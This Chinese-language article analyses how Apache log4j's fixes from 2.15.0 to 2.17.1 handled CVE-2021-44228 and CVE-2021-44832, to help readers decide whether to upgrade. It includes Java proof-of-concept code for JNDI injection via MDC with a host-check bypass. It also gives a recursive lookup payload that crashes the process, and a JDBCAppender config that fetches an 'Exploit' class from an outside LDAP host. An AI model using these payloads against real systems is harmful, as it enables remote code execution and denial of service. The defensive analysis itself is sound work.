0x00 前言
自从log4j2.14.1版本爆出漏洞后,官方截止目前为止,共发布了3个稳定版本,分别是15.0、16.0、17.0。
本篇文章就分析一下每个版本都做了哪些事情,以此来评估每个版本升级的必要性。
分割线---------------------------------------------------------------------------------------
在28号晚上,log4j又修复了一个“RCE漏洞”(CVE-2021-44832),之所以RCE要打引号,是因为严谨一些说的话,这个其实不能算个漏洞,这个CVE的分析详情在3.2节。
0x01 2.15.0版本
1.1 修复方案
此版本是为了修复最初的 CVE-2021-44228漏洞,它的修复方式总结如下:
1、默认禁用msg lookup功能
2、在org.apache.logging.log4j.core.net.JndiManager#lookup方法中限制了ldap服务的host只能为本地ip、对javaClassName属性做了限制、且不允许ldap服务返回javaFactory属性。
1.2 遗留问题
上述第2点的防御措施可被绕过,绕过原理也比较简单,绕过详情可阅读4ra1n师傅的分析文章。
但如果要利用此漏洞,一般有如下两种情景:
1、开启msg lookup功能:
(1)在log4j2.xml中进行如下配置,即可开启lookup功能:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="OFF" monitorInterval="30">
<appenders>
<console name="CONSOLE" target="SYSTEM_OUT">
<PatternLayout pattern="%msg{lookups}%n"/>
</console>
</appenders>
<Loggers>
<Root level="error">
<AppenderRef ref="CONSOLE"/>
</Root>
</Loggers>
</Configuration>
(2)如下代码即可触发漏洞:
public class Main {
public static void main(String[] args){
Logger logger = LogManager.getLogger(Main.class);
logger.error("${jndi:ldap://127.0.0.1}");
}
}
2、通过MDC进行攻击:
上述修复方案中的第1个方案,禁用msg lookup功能,在以下场景是无效的:
当配置文件中使用带有Context Lookup的非默认的Pattern Layout 配置时,且外部可控数据会被保存到Thread Context Map (MDC)中时,即可触发jndi注入。
(1)如下在log4j2.xml中配置自定义的Pattern Layout:
<Configuration status="OFF" monitorInterval="30">
<Appenders>
<Console name="CONSOLE" target="SYSTEM_OUT">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
</PatternLayout>
</Console>
</Appenders>
<Loggers>
<Root level="error">
<AppenderRef ref="CONSOLE"/>
</Root>
</Loggers>
</Configuration>
(2)如下当MDC中的loginId值是外部可控时,即可被jndi注入攻击(只有在mac系统中运行以下代码,才能收到dnslog请求,在windows和linux系统中,以下poc只能绕过host的检测,无法进行后续攻击):
public class Main {
public static void main(String[] args){
Logger logger = LogManager.getLogger(Main.class);
String dnslog = args[0];
String poc = String.format("${jndi:ldap://127.0.0.1#.%s}", dnslog);
System.out.println("poc: "+ poc);
ThreadContext.put("loginId", poc);
logger.error("${jndi:ldap://127.0.0.1} xxx");
}
}
1.3 总结
1、如果业务线使用log4j时,没有做任何的自定义配置,那么15.0版本既没有dos的问题,也没有rce的问题。
2、如果业务线存在上述两种攻击场景中的任意一种情况,那么:
(1)如果服务部署在windows、linux系统中,只存在被dos攻击的风险,无rce风险。
(2)如果服务部署在macos系统中,既存在被dos攻击的风险,也存在rce风险(即使存在rce风险,但此时已经无法利用最容易进行代码执行攻击的javaFactory属性进行攻击,只能通过反序列化漏洞进行攻击,因此只有系统中存在可利用的gadget链时才能rce成功)。
0x02 2.16.0版本
2.1 修复方案
1、加入了一个是否启用jndi的开关(log4j2.enableJndi属性),且默认是禁用的。
2、彻底移除了msg lookup功能。
2.2 遗留问题
1、启用jndi功能
虽然此版本彻底移除了msg lookup功能,但是在启用jndi功能的情况下,仍然可以利用上述1.2节中的第2点进行攻击。
log4j2.xml中依然采用1.2节中第2点中所示的配置,java代码如下,此时依然存在1.3节中第2点描述的问题:
public class Main {
public static void main(String[] args) throws Exception{
System.setProperty("log4j2.enableJndi", "true");
System.out.println(JndiManager.isJndiEnabled());
Logger logger = LogManager.getLogger(Main.class);
String dnslog = args[0];
String poc = String.format("${jndi:ldap://127.0.0.1#.%s}", dnslog);
System.out.println("poc: "+ poc);
ThreadContext.put("loginId", poc);
logger.error("xxx");
}
}
2、通过MDC进行dos攻击
当系统未开启jndi功能时,使用如下代码即可进行dos攻击(log4j2.xml中依然采用1.2节中第2点中所示的配置):
public class Main {
public static void main(String[] args) throws Exception{
Logger logger = LogManager.getLogger(Main.class) ;
ThreadContext.put("loginId", "${${ctx:loginId}}");
logger.error("xxx");
}
}
出现漏洞的代码位于org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder, int, int, java.util.List<java.lang.String>)方法中:
Pattern Layout配置中的${ctx:loginId}被解析为${${ctx:loginId}}后,${${ctx:loginId}}变量又会被进行递归substitute操作,其中的${ctx:loginId}又被解析为了${${ctx:loginId}},因此导致了无限递归,从而导致进程崩溃。
2.3 总结
1、2.16.0版本可以看做是2.15.0版本的增强版,通过引入log4j2.enableJndi属性,进一步降低了被rce的风险。
2、同2.15.0一样,如果业务线使用log4j时,没有做任何的自定义配置,那么16.0版本既没有dos的问题,也没有rce的问题。
0x03 2.17.0版本
3.1 修复方案
1、使用RuntimeStrSubstitutor类进行substitute操作时,不允许进行递归substitute操作,修复了dos漏洞:
2、限制了jndi协议只能为java协议,移除了ldap协议,修复了上述1.2节中描述的绕过问题(虽然该绕过比较鸡肋)
3.2 遗留问题
当配置文件log4j2.xml可以被攻击者控制时(目前能想到的控制手段就是利用系统中已经存在的任意文件上传漏洞或者任意代码执行漏洞。。。),通过配置JDBCAppender属性,即可进行JNDI注入攻击:
<Configuration status="error">
<Appenders>
<JDBC name="databaseAppender" tableName="dbo.application_log">
<DataSource jndiName="ldap://nsp9xs.dnslog.cn/Exploit" />
</JDBC>
</Appenders>
</Configuration>
这时大家可能会有疑问,就是从2.16开始,其实已经默认禁用了JNDI功能,但是为什么在默认情况下,上述的JNDI注入还可以攻击成功呢?追到lookup执行处就一目了然了,代码位于org.apache.logging.log4j.core.appender.db.jdbc.DataSourceConnectionSource#createConnectionSource处,可以看到这里是直接new了一个InitialContext对象执行的lookup,并没有通过JndiManager去执行lookup功能,而在2.16添加的enableJndi属性仅仅对受JndiManager管理的资源有用。因此这里的lookup并不受enableJndi属性的管理,因此可在默认情况下进行JNDI注入攻击:
3.3 总结
1、由于2.17版本禁用了递归substitute的操作,因此即使MDC的数据是外部可控的,其中的表达式也不会再被解析。
2、JndiManager中的lookup功能仅支持java协议,因此即使存在通过MDC进行JNDI注入攻击的漏洞,那攻击者也无法利用诸如rmi、ldap等协议进行攻击了。
3、在对JDBCAppender属性值进行lookup时,由于这里的lookup不受JndiManager管理,因此不受enableJndi属性的限制。
0x04 2.17.1版本
虽然CVE-2021-44832漏洞利用条件很苛刻,按理来说不能算个漏洞,但是官方还是发布了2.17.1版本进行了修复。
4.1 修复方案
修复方案很简单:
1、不再通过随意new一个InitialContext对象去执行lookup操作,而是通过JndiManager去执行
2、添加了一个是否开启对于jdbc的jndi功能的属性enableJndiJdbc
4.2 总结
CVE-2021-44832漏洞过于鸡肋,2.17.0的用户完全没有必要升级到2.17.1
0x05 总结
1、2.17.0版本是目前相对安全的版本,如果升级log4j对业务影响不大,当然升级到最新版是最佳选择。
2、如果考虑到频繁升级对业务影响较大,那么如果可以保证研发人员没有对log4j做任何自定义配置,那么2.15.0、2.16.0和2.17.0版本也是不受dos漏洞和rce漏洞影响的,也是安全的。文章来源:https://www.toymoban.com/news/detail-471208.html
0x05 参考链接
https://logging.apache.org/log4j/2.x/index.html
https://xz.aliyun.com/t/10689
https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc2…rel/2.16.0
https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/文章来源地址https://www.toymoban.com/news/detail-471208.html
到了这里,关于log4j官方漏洞修复史(更新至2.17.1/CVE-2021-44832)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!